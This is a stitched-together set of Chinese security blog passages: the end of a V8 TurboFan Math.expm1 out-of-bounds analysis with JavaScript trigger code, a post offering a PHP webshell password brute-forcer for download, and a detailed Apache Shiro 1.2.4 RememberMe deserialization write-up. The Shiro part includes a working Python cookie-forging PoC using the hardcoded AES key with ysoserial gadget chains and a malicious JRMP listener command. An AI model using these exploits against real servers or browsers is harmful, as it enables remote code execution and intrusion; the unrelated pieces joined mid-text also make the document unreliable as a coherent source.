[typed-optimizitaion](https://cs.chromium.org/chromium/src/v8/src/compiler/typed-optimization.cc?cl=c59c9c46b589deb2a41ba07cf87275921b8b2885&l=494)阶段会简化`SameValue`结点，可以简化为`ObjectIsMinusZero`结点，[simpified-lowering](https://cs.chromium.org/chromium/src/v8/src/compiler/simplified-lowering.cc?rcl=dde25872f58951bb0148cf43d6a504ab2f280485&l=3079)阶段会简化`ObjectIsMinusZero`结点，会直接将他折叠为`false`常量。
**又上面可知我们不希望在`typer`阶段就被折叠为`false`，也不希望`CheckBounds`无法消除，那我们就需要将`SameValue`结点保留到`simpified-lowering`阶段，让这个阶段知道在和`-0`比较，从而折叠为`false`消除`CheckBounds`结点。**
**也就是需要绕过`typer-lowering`阶段稳定到`simplified-lowering`阶段。**
这时候我们可以用一下逃逸分析（`escape-analysis`），代码改为如下：
function test(x){
var a = [1.1,2.2,3.3,4.4];
var c = {x:-0};
var b = Object.is(Math.expm1(x),c.x);
return a[b*4]; //a[b * 4];
}
for (var i = 0; i < 100000; i++) {
test("1");
}
print(test(-0));
逃逸分析阶段的作用就是简化非逃逸对象，什么叫非逃逸对象呢。
function test(){
var a = {x:1};
return a.x;
}
此时`a`就叫非逃逸对象，因为他的`x`属性值是固定不可变的，也就是说可以将`a.x`直接折叠为`1`。
function escape(x){
x.x = 2;
}
function test(){
var a = {x:1};
escape(a);
return a.x;
}
此时`a`是逃逸对象， **也就是说逃脱了`test`的范围**，因此就无法优化折叠了。
此时我们用以上更改过的代码跑之后就可以得到结果：
2.2741325538412e-310
显然我们已经成功`OOB`了。还不够，此时我们再来看看`IR`图。
`typer`阶段：
显然已经不会被直接折叠为`false`。
`typed-lowering`阶段：
没有被简化为`ObjectIsMinusZero`结点。
`escape-analysis`阶段：
此时`SameValue`右结点被折叠为`-0`。
`simpified-lowering`阶段：
此时`checkbounds`结点被消除了。
所以`SameValue`结点一直存活到了最后一个简化阶段。
这题目其实也可以先考虑“逃逸分析”后考虑“去优化”，也会发现一些有趣的东西，比如在十万次循环中写上的是`"-0"`，那么还会多出一个`NumberLessThan`结点等等，这就自行分析了不多说。分析到最后还是可以发现一些`TurboFan`很奇怪的地方的。
## 总结：
发现`TurboFan`最大的一个特点也是最重要的一个特点就是它的“惰性思维”，也就是说不断输入某个特定情况时，那么`TurboFan`会以为以后的情况也是该种情况，从而优化代码也是按照该种情况来生成，这样就会产生许多问题。
这里其实有几个问题我是不太明白的。`CheckBounds`是如何消除的？图中已经表明了`CheckBounds`左分支为`Range(0,4)`，那么`4`不应该是已经超出`Array
MaxLength`了吗，为什么还能被消除呢？最后是`SameValue`处右结点已经折叠为`-0`了，那么之后反馈过程中一直为`false`，为什么不折叠为`index为0`呢直接取第一个元素呢，还是要用`index
offset`去取`element`呢？
## Reference：
1. <https://abiondo.me/2019/01/02/exploiting-math-expm1-v8/> | 社区文章 |
作者：小马
灵感：接地气
下载：（含字典）
某云：[http://pan.baidu.com/s/1pLbFUdl
 ](http://pan.baidu.com/s/1pLbFUdl  ); pony (原版，不含字典)
php一句话，10w字典5秒。
同样思路，另一工具：ShellBrute7kb.rar
下载：<http://www.7kb.org/wp-content/uploads/2016/11/ShellBrute7kb.rar>
PS：编辑器不是一般的难驾驭。 | 社区文章 |
# 简介
Apache
Shiro™是一个强大且易用的Java安全框架,能够用于身份验证、授权、加密和会话管理。Shiro拥有易于理解的API,您可以快速、轻松地获得任何应用程序——从最小的移动应用程序到最大的网络和企业应用程序。
Shiro
v1.2.4中使用`RememberMe`功能时，使用了`AES`对`Cookie`进行加密，但`AES`密钥硬编码在代码中且不变，因此可以进行加密解密，并触发反序列化漏洞完成任意代码执行。
感觉网上的分析的文章都并不深入，并且在我自己的环境中，发现很多结论感觉都是错的，欢迎打脸ORZ。
# 环境搭建
* java version "1.7.0_21"，方便使用 ysoserial中的payload
* Server version: Apache Tomcat/8.5.56，jdk1.7支持tomcat8
* shiro-root-1.2.4，9549384b0d7b77b87733892ab00b94cc31019444，漏洞分支
* commons-collections4，适用于ysoserial中的payload
使用Apache Shiro Quickstart示例页面进行测试
git clone https://github.com/apache/shiro.git
git checkout shiro-root-1.2.4 #切换分支
使用`shiro/samples/web`示例项目目录，`IDEA`导入并进行设置。
配置`~/.m2/toolchains.xml`，添加jdk
<?xml version="1.0" encoding="UTF-8"?>
<toolchains xmlns="http://maven.apache.org/TOOLCHAINS/1.1.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/TOOLCHAINS/1.1.0 http://maven.apache.org/xsd/toolchains-1.1.0.xsd">
<toolchain>
<type>jdk</type>
<provides>
<version>1.7</version>
<vendor>sun</vendor>
</provides>
<configuration>
<jdkHome>/Library/Java/JavaVirtualMachines/jdk1.7.0_21.jdk/</jdkHome>
</configuration>
</toolchain>
</toolchains>
配置pom.xml，添加依赖库
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<parent>
<groupId>org.apache.shiro.samples</groupId>
<artifactId>shiro-samples</artifactId>
<version>1.2.4</version>
<relativePath>../pom.xml</relativePath>
</parent>
<modelVersion>4.0.0</modelVersion>
<artifactId>samples-web</artifactId>
<name>Apache Shiro :: Samples :: Web</name>
<packaging>war</packaging>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-toolchains-plugin</artifactId>
<version>1.1</version>
<executions>
<execution>
<goals>
<goal>toolchain</goal>
</goals>
</execution>
</executions>
<configuration>
<toolchains>
<jdk>
<version>1.7</version>
<vendor>sun</vendor>
</jdk>
</toolchains>
</configuration>
</plugin>
<plugin>
<artifactId>maven-surefire-plugin</artifactId>
<configuration>
<forkMode>never</forkMode>
</configuration>
</plugin>
<plugin>
<groupId>org.mortbay.jetty</groupId>
<artifactId>maven-jetty-plugin</artifactId>
<version>${jetty.version}</version>
<configuration>
<contextPath>/</contextPath>
<connectors>
<connector implementation="org.mortbay.jetty.nio.SelectChannelConnector">
<port>9080</port>
<maxIdleTime>60000</maxIdleTime>
</connector>
</connectors>
<requestLog implementation="org.mortbay.jetty.NCSARequestLog">
<filename>./target/yyyy_mm_dd.request.log</filename>
<retainDays>90</retainDays>
<append>true</append>
<extended>false</extended>
<logTimeZone>GMT</logTimeZone>
</requestLog>
</configuration>
</plugin>
</plugins>
</build>
<dependencies>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>servlet-api</artifactId>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-log4j12</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>log4j</groupId>
<artifactId>log4j</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>net.sourceforge.htmlunit</groupId>
<artifactId>htmlunit</artifactId>
<version>2.6</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-web</artifactId>
</dependency>
<dependency>
<groupId>org.mortbay.jetty</groupId>
<artifactId>jetty</artifactId>
<version>${jetty.version}</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.mortbay.jetty</groupId>
<artifactId>jsp-2.1-jetty</artifactId>
<version>${jetty.version}</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>jcl-over-slf4j</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
</dependencies>
</project>
下载[JSTL标签库](http://archive.apache.org/dist/jakarta/taglibs/standard/binaries/下载JSTL包的ZIP文件，下载最新的jakarta-taglibs-standard-1.1.2.zip)，导入到IDEA中
IDEA中添加设置tomcat服务器：
运行成功：
生成Cookie的POC:
import base64
import uuid
import subprocess
from Crypto.Cipher import AES
def rememberme(command):
# popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command], stdout=subprocess.PIPE)
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'CommonsCollections5', command],
stdout=subprocess.PIPE)
# popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
# payload = encode_rememberme('127.0.0.1:12345')
payload = rememberme('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
# payload = encode_rememberme('http://shiro.f422cd57.n0p.co')
with open("./payload.cookie", "w") as fpw:
print("rememberMe={}".format(payload.decode()))
# 漏洞分析
org/apache/shiro/mgt/DefaultSecurityManager.java:492
使用`resolvePrincipals`方法启发式解析上下文凭据
org/apache/shiro/mgt/DefaultSecurityManager.java:604
获取`RememberMeManager`对象，并调用`getRememberedPrincipals`方法
org/apache/shiro/mgt/AbstractRememberMeManager.java:393
继续调用`getRememberedSerializedIdentity`方法
org/apache/shiro/web/mgt/CookieRememberMeManager.java:215
获取序列化的凭证，从请求中获取`Cookie`中的`rememberMe`并进行`base64`解码，解码后内容为AES加密内容并返回。
org/apache/shiro/mgt/AbstractRememberMeManager.java:396
将解码的内容传入`convertBytesToPrincipals`进行AES解密和反序列化
org/apache/shiro/mgt/AbstractRememberMeManager.java:429
调用`decrypt`函数进行AES解密
org.apache.shiro.mgt.AbstractRememberMeManager#decrypt
跟进`getDecryptionCipherKey`函数
org.apache.shiro.mgt.AbstractRememberMeManager#getDecryptionCipherKey
返回获取解密密钥
org.apache.shiro.mgt.AbstractRememberMeManager#decryptionCipherKey
成员`decryptionCipherKey`存储着硬编码的密钥，当每次shiro启动初始化时就会使用硬编码进行赋值。
org.apache.shiro.mgt.AbstractRememberMeManager#AbstractRememberMeManager
shiro启动时在构造函数中设置密钥为`DEFAULT_CIPHER_KEY_BYTES`
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
`DEFAULT_CIPHER_KEY_BYTES`为硬编码，继续跟进。
org.apache.shiro.mgt.AbstractRememberMeManager#setEncryptionCipherKey
密钥设置完成，以供后续使用，密钥设置的调用栈：
setEncryptionCipherKey:192, AbstractRememberMeManager (org.apache.shiro.mgt)
setCipherKey:250, AbstractRememberMeManager (org.apache.shiro.mgt)
<init>:109, AbstractRememberMeManager (org.apache.shiro.mgt)
<init>:87, CookieRememberMeManager (org.apache.shiro.web.mgt)
<init>:75, DefaultWebSecurityManager (org.apache.shiro.web.mgt)
createDefaultInstance:65, WebIniSecurityManagerFactory (org.apache.shiro.web.config)
createDefaults:146, IniSecurityManagerFactory (org.apache.shiro.config)
createDefaults:71, WebIniSecurityManagerFactory (org.apache.shiro.web.config)
createSecurityManager:123, IniSecurityManagerFactory (org.apache.shiro.config)
createSecurityManager:102, IniSecurityManagerFactory (org.apache.shiro.config)
createInstance:88, IniSecurityManagerFactory (org.apache.shiro.config)
createInstance:46, IniSecurityManagerFactory (org.apache.shiro.config)
createInstance:123, IniFactorySupport (org.apache.shiro.config)
getInstance:47, AbstractFactory (org.apache.shiro.util)
createWebSecurityManager:203, IniWebEnvironment (org.apache.shiro.web.env)
configure:99, IniWebEnvironment (org.apache.shiro.web.env)
init:92, IniWebEnvironment (org.apache.shiro.web.env)
init:45, LifecycleUtils (org.apache.shiro.util)
init:40, LifecycleUtils (org.apache.shiro.util)
createEnvironment:221, EnvironmentLoader (org.apache.shiro.web.env)
initEnvironment:133, EnvironmentLoader (org.apache.shiro.web.env)
contextInitialized:58, EnvironmentLoaderListener (org.apache.shiro.web.env)
listenerStart:4689, StandardContext (org.apache.catalina.core)
startInternal:5155, StandardContext (org.apache.catalina.core)
start:183, LifecycleBase (org.apache.catalina.util)
addChildInternal:743, ContainerBase (org.apache.catalina.core)
addChild:719, ContainerBase (org.apache.catalina.core)
addChild:705, StandardHost (org.apache.catalina.core)
manageApp:1719, HostConfig (org.apache.catalina.startup)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:601, Method (java.lang.reflect)
invoke:286, BaseModelMBean (org.apache.tomcat.util.modeler)
invoke:819, DefaultMBeanServerInterceptor (com.sun.jmx.interceptor)
invoke:792, JmxMBeanServer (com.sun.jmx.mbeanserver)
createStandardContext:479, MBeanFactory (org.apache.catalina.mbeans)
createStandardContext:428, MBeanFactory (org.apache.catalina.mbeans)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:601, Method (java.lang.reflect)
invoke:286, BaseModelMBean (org.apache.tomcat.util.modeler)
invoke:819, DefaultMBeanServerInterceptor (com.sun.jmx.interceptor)
invoke:792, JmxMBeanServer (com.sun.jmx.mbeanserver)
invoke:468, MBeanServerAccessController (com.sun.jmx.remote.security)
doOperation:1486, RMIConnectionImpl (javax.management.remote.rmi)
access$300:96, RMIConnectionImpl (javax.management.remote.rmi)
run:1327, RMIConnectionImpl$PrivilegedOperation (javax.management.remote.rmi)
doPrivileged:-1, AccessController (java.security)
doPrivilegedOperation:1426, RMIConnectionImpl (javax.management.remote.rmi)
invoke:847, RMIConnectionImpl (javax.management.remote.rmi)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:601, Method (java.lang.reflect)
dispatch:322, UnicastServerRef (sun.rmi.server)
run:177, Transport$1 (sun.rmi.transport)
run:174, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:173, Transport (sun.rmi.transport)
handleMessages:553, TCPTransport (sun.rmi.transport.tcp)
run0:808, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:667, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1145, ThreadPoolExecutor (java.util.concurrent)
run:615, ThreadPoolExecutor$Worker (java.util.concurrent)
run:722, Thread (java.lang)
返回整体流程
org.apache.shiro.crypto.JcaCipherService#decrypt(byte[], byte[])
org.apache.shiro.crypto.JcaCipherService#decrypt(byte[], byte[], byte[])
org.apache.shiro.crypto.JcaCipherService#crypt(byte[], byte[], byte[], int)
org.apache.shiro.crypto.JcaCipherService#crypt(javax.crypto.Cipher, byte[])
初始化Cipher实例，设置执行模式以及密钥，步步跟进，完成AES解密，返回使用ysoserial生成的序列化的payload。
org.apache.shiro.mgt.AbstractRememberMeManager#deserialize
org.apache.shiro.io.DefaultSerializer#deserialize
跟进并看到了熟悉的readObject，这里就是反序列化的触发点，此时的调用栈为：
deserialize:77, DefaultSerializer (org.apache.shiro.io)
deserialize:514, AbstractRememberMeManager (org.apache.shiro.mgt)
convertBytesToPrincipals:431, AbstractRememberMeManager (org.apache.shiro.mgt)
getRememberedPrincipals:396, AbstractRememberMeManager (org.apache.shiro.mgt)
getRememberedIdentity:604, DefaultSecurityManager (org.apache.shiro.mgt)
resolvePrincipals:492, DefaultSecurityManager (org.apache.shiro.mgt)
createSubject:342, DefaultSecurityManager (org.apache.shiro.mgt)
buildSubject:846, Subject$Builder (org.apache.shiro.subject)
buildWebSubject:148, WebSubject$Builder (org.apache.shiro.web.subject)
createSubject:292, AbstractShiroFilter (org.apache.shiro.web.servlet)
doFilterInternal:359, AbstractShiroFilter (org.apache.shiro.web.servlet)
doFilter:125, OncePerRequestFilter (org.apache.shiro.web.servlet)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
invoke:199, StandardWrapperValve (org.apache.catalina.core)
invoke:96, StandardContextValve (org.apache.catalina.core)
invoke:543, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:139, StandardHostValve (org.apache.catalina.core)
invoke:81, ErrorReportValve (org.apache.catalina.valves)
invoke:690, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:87, StandardEngineValve (org.apache.catalina.core)
service:343, CoyoteAdapter (org.apache.catalina.connector)
service:615, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:818, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1627, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1145, ThreadPoolExecutor (java.util.concurrent)
run:615, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:722, Thread (java.lang)
# JDK1.8+commons-collections-3.2.1 深入探究
前文添加`commons-collections4.0`，而`Shiro`自带的`commons-collections-3.2.1`
在`JDK1.8u112`中，可以直接利用`ysoserial`中的`Commons-Collections5`（3.1-3.2.1，jdk1.8）
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "/System/Applications/Calculator.app/Contents/MacOS/Calculator"
直接利用脚本生成Cookie，打出发现报错。
2020-06-22 19:22:48,995 TRACE [org.apache.shiro.util.ClassUtils]: Unable to load class named [[Lorg.apache.commons.collections.Transformer;] from the current ClassLoader. Trying the system/application ClassLoader...
2020-06-22 19:22:51,375 TRACE [org.apache.shiro.util.ClassUtils]: Unable to load clazz named [[Lorg.apache.commons.collections.Transformer;] from class loader [sun.misc.Launcher$AppClassLoader@18b4aac2]
2020-06-23 10:49:39,338 DEBUG [org.apache.shiro.mgt.AbstractRememberMeManager]: There was a failure while trying to retrieve remembered principals. This could be due to a configuration problem or corrupted principals. This could also be due to a recently changed encryption key. The remembered identity will be forgotten and not used for this request.
org.apache.shiro.io.SerializationException: Unable to deserialze argument byte array.
org.apache.shiro.io.ClassResolvingObjectInputStream#resolveClass
发现`shiro`中`ClassResolvingObjectInputStream`
继承了`ObjectInputStream`，并且`resolveClass`被重写，调用`forName`
org.apache.shiro.util.ClassUtils#forName
加载的参数为`[Lorg.apache.commons.collections.Transformer;`。
这是一种对函数返回值和参数的编码，做JNI字段描述符（JavaNative Interface FieldDescriptors)，`[`
表示数组，一个代表一维数组，比如 `[[` 代表二维数组。之后 `L` 代表类描述符，最后 `;`表示类名结束。
首先使用加载器`THREAD_CL_ACCESSOR.loadClass`，若加载失败返回为`null`，则尝试使用`CLASS_CL_ACCESSOR.loadClass`，若继续加载失败返回为`null`，则尝试使用`SYSTEM_CL_ACCESSOR.loadClass`，若继续加载失败返回为`null`，则抛出异常。
org.apache.shiro.util.ClassUtils.ExceptionIgnoringAccessor#loadClass
跟进`THREAD_CL_ACCESSOR.loadClass`，发现使用`loadClass`进行加载，跟进`cl.loadClass`。
## 跳坑
`Class.forName`不支持原生类型，但其他类型都是支持的。`Class.loadClass`不能加载原生类型和数组类型，其他类型都是支持的，测试代码如下：
Class classString = ClassLoader.getSystemClassLoader().loadClass("java.lang.String");// 类
Class classEnum = ClassLoader.getSystemClassLoader().loadClass("java.lang.annotation.RetentionPolicy");// 枚举
Class classInterface = ClassLoader.getSystemClassLoader().loadClass("java.io.Serializable");// 接口
Class classAnnotation = ClassLoader.getSystemClassLoader().loadClass("java.lang.annotation.Documented");// 注解
//Class classIntArray = ClassLoader.getSystemClassLoader().loadClass("[I");// 数组类型不能使用ClassLoader.loadClass方法
//Class classStringArray = ClassLoader.getSystemClassLoader().loadClass("[Ljava.lang.String;");// 数组类型不能使用ClassLoader.loadClass方法
可以发现确实不能加载，这也是网上公认的`[Lorg.apache.commons.collections.Transformer;`加载失败的原因。
在我个人搭建的环境下，个人认为这个原因并不准确，如图：
org.apache.shiro.util.ClassUtils.ExceptionIgnoringAccessor#loadClass
在漏洞环境的`tomcat`上下文中类似`[Ljava.lang.StackTraceElement;`是可以被加载的
org.apache.catalina.loader.WebappClassLoaderBase#loadClass(java.lang.String)
继续跟进`[Lorg.apache.commons.collections.Transformer;`，上下文进入了tomcat，IDEA中需要导入tomcat源码。
org/apache/catalina/loader/WebappClassLoaderBase.java:1344
这里可以发现在`tomcat`的环境中其实最终还是调用了`Class.forName`，因此是可以加载数组的。
那么为什么不能加载`[Lorg.apache.commons.collections.Transformer;`呢，经过反复的调试发现`java.lang`下面的数组可以正常加载，并确定了原因：
* `Tomcat`和`JDK`的`Classpath`是不公用且不同的，`Tomcat`启动时，不会用`JDK`的`Classpath`，需要在`catalina.sh`中进行单独设置。
加载失败时，通过`System.getProperty("java.class.path")`得到`Tomcat`中的classpath如下：
/Applications/tomcat8/bin/bootstrap.jar:/Applications/tomcat8/bin/tomcat-juli.jar:/Users/rai4over/Library/Caches/JetBrains/IntelliJIdea2020.1/captureAgent/debugger-agent.jar
可以在`catalina.sh`中修改如下：
if [ -r "$CATALINA_BASE/bin/tomcat-juli.jar" ] ; then
CLASSPATH=$CLASSPATH:$CATALINA_BASE/bin/tomcat-juli.jar
else
CLASSPATH=$CLASSPATH:$CATALINA_HOME/bin/tomcat-juli.jar
fi
CLASSPATH=$CLASSPATH:/Users/rai4over/.m2/repository/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1.jar:/Users/rai4over/.m2/repository/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1-sources.jar
Tomcat重新启动后就能成功加载`[Lorg.apache.commons.collections.Transformer;`
* 在tomcat的上下文环境中调用`Class.forName(name, false, parent)`，使用了`URLClassLoader`作为`ClassLoader`，但在`URLClassLoader`中没有包含`[Lorg.apache.commons.collections.Transformer;`位置，如图所示：
指定`commons-collections-3.2.1.jar`路径即可
Class.forName("[Lorg.apache.commons.collections.Transformer;", true, new URLClassLoader(new URL[]{new URL("file:///Users/rai4over/.m2/repository/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1.jar")}));
至于能不能直接成功呢，大家可以自己去尝试，hhhhhhh
## 出坑
直接给出答案，可以使用JRMP解决问题。
启动恶意的JRMP服务端
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 '/System/Applications/Calculator.app/Contents/MacOS/Calculator'
生成JRMP客户端payload
import base64
import uuid
import subprocess
from Crypto.Cipher import AES
def rememberme(command):
# popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command], stdout=subprocess.PIPE)
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'CommonsCollections5', command],
stdout=subprocess.PIPE)
# popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
# payload = encode_rememberme('127.0.0.1:12345')
payload = rememberme('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
# payload = encode_rememberme('http://shiro.f422cd57.n0p.co')
with open("./payload.cookie", "w") as fpw:
print("rememberMe={}".format(payload.decode()))
那为什么`JRMP`能够成功呢？受害服务器成为`JRMP`客户端时，根据`ClassLoader`猜测受害服务器加载过程的不依赖外部库。
ysoserial/src/main/java/ysoserial/payloads/JRMPClient.java
import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
翻看`ysoserial`源码payload所需类确实均为`JDK`下。
受害服务器最终肯定是要依靠`Transformer`完成任意代码执行的，那么`[Lorg.apache.commons.collections.Transformer;`究竟如何加载的呢。
受害服务器第一次反序列化成为`JRMP`客户端，并连接恶意的`JRMP`服务端，主要涉及模块`sun.rmi.*`。
sun.rmi.transport.DGCClient#registerRefs
可以看到恶意服务器地址，然后一路跟进
sun.rmi.transport.DGCImpl_Stub#dirty
看起来和`RMI`的过程相似
sun.rmi.server.UnicastRef#invoke(java.rmi.server.RemoteCall)
sun/rmi/transport/StreamRemoteCall.class:169
连接通信的过程涉及序列化和反序列化，受害服务器接受恶意数据并进行了第二次反序列化，`this.in`类型为`ConnectionInputStream`。
`ConnectionInputStream`通过父类`MarshalInputStream`重写了`resolveClass`
sun.rmi.server.LoaderHandler#loadClass(java.lang.String, java.lang.String,
java.lang.ClassLoader)
sun/rmi/server/LoaderHandler.class:557
这里使用`Class.forName`加载`[Lorg.apache.commons.collections.Transformer;`，并且`Classloader`为`ParallelWebappClassLoader`，此为可并行的`Webapp`加载器，包含整个应用所需的`Class`加载方式。
因此加载`[Lorg.apache.commons.collections.Transformer;`成功，当前的调用栈为：
forName:348, Class (java.lang)
loadClassForName:1221, LoaderHandler (sun.rmi.server)
loadClass:175, LoaderHandler (sun.rmi.server)
loadClass:637, RMIClassLoader$2 (java.rmi.server)
loadClass:264, RMIClassLoader (java.rmi.server)
resolveClass:219, MarshalInputStream (sun.rmi.server)
readNonProxyDesc:1620, ObjectInputStream (java.io)
readClassDesc:1521, ObjectInputStream (java.io)
readArray:1671, ObjectInputStream (java.io)
readObject0:1347, ObjectInputStream (java.io)
defaultReadFields:2018, ObjectInputStream (java.io)
readSerialData:1942, ObjectInputStream (java.io)
readOrdinaryObject:1808, ObjectInputStream (java.io)
readObject0:1353, ObjectInputStream (java.io)
defaultReadFields:2018, ObjectInputStream (java.io)
defaultReadObject:503, ObjectInputStream (java.io)
readObject:143, LazyMap (org.apache.commons.collections.map)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1909, ObjectInputStream (java.io)
readOrdinaryObject:1808, ObjectInputStream (java.io)
readObject0:1353, ObjectInputStream (java.io)
defaultReadFields:2018, ObjectInputStream (java.io)
readSerialData:1942, ObjectInputStream (java.io)
readOrdinaryObject:1808, ObjectInputStream (java.io)
readObject0:1353, ObjectInputStream (java.io)
access$300:208, ObjectInputStream (java.io)
readFields:2182, ObjectInputStream$GetFieldImpl (java.io)
readFields:543, ObjectInputStream (java.io)
readObject:71, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1909, ObjectInputStream (java.io)
readOrdinaryObject:1808, ObjectInputStream (java.io)
readObject0:1353, ObjectInputStream (java.io)
access$300:208, ObjectInputStream (java.io)
readFields:2182, ObjectInputStream$GetFieldImpl (java.io)
readFields:543, ObjectInputStream (java.io)
readObject:71, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1909, ObjectInputStream (java.io)
readOrdinaryObject:1808, ObjectInputStream (java.io)
readObject0:1353, ObjectInputStream (java.io)
readObject:373, ObjectInputStream (java.io)
executeCall:245, StreamRemoteCall (sun.rmi.transport)
invoke:379, UnicastRef (sun.rmi.server)
dirty:-1, DGCImpl_Stub (sun.rmi.transport)
makeDirtyCall:378, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:320, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:156, DGCClient (sun.rmi.transport)
read:312, LiveRef (sun.rmi.transport)
readExternal:493, UnicastRef (sun.rmi.server)
readObject:455, RemoteObject (java.rmi.server)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1909, ObjectInputStream (java.io)
readOrdinaryObject:1808, ObjectInputStream (java.io)
readObject0:1353, ObjectInputStream (java.io)
defaultReadFields:2018, ObjectInputStream (java.io)
readSerialData:1942, ObjectInputStream (java.io)
readOrdinaryObject:1808, ObjectInputStream (java.io)
readObject0:1353, ObjectInputStream (java.io)
readObject:373, ObjectInputStream (java.io)
deserialize:77, DefaultSerializer (org.apache.shiro.io)
deserialize:514, AbstractRememberMeManager (org.apache.shiro.mgt)
convertBytesToPrincipals:431, AbstractRememberMeManager (org.apache.shiro.mgt)
getRememberedPrincipals:396, AbstractRememberMeManager (org.apache.shiro.mgt)
getRememberedIdentity:604, DefaultSecurityManager (org.apache.shiro.mgt)
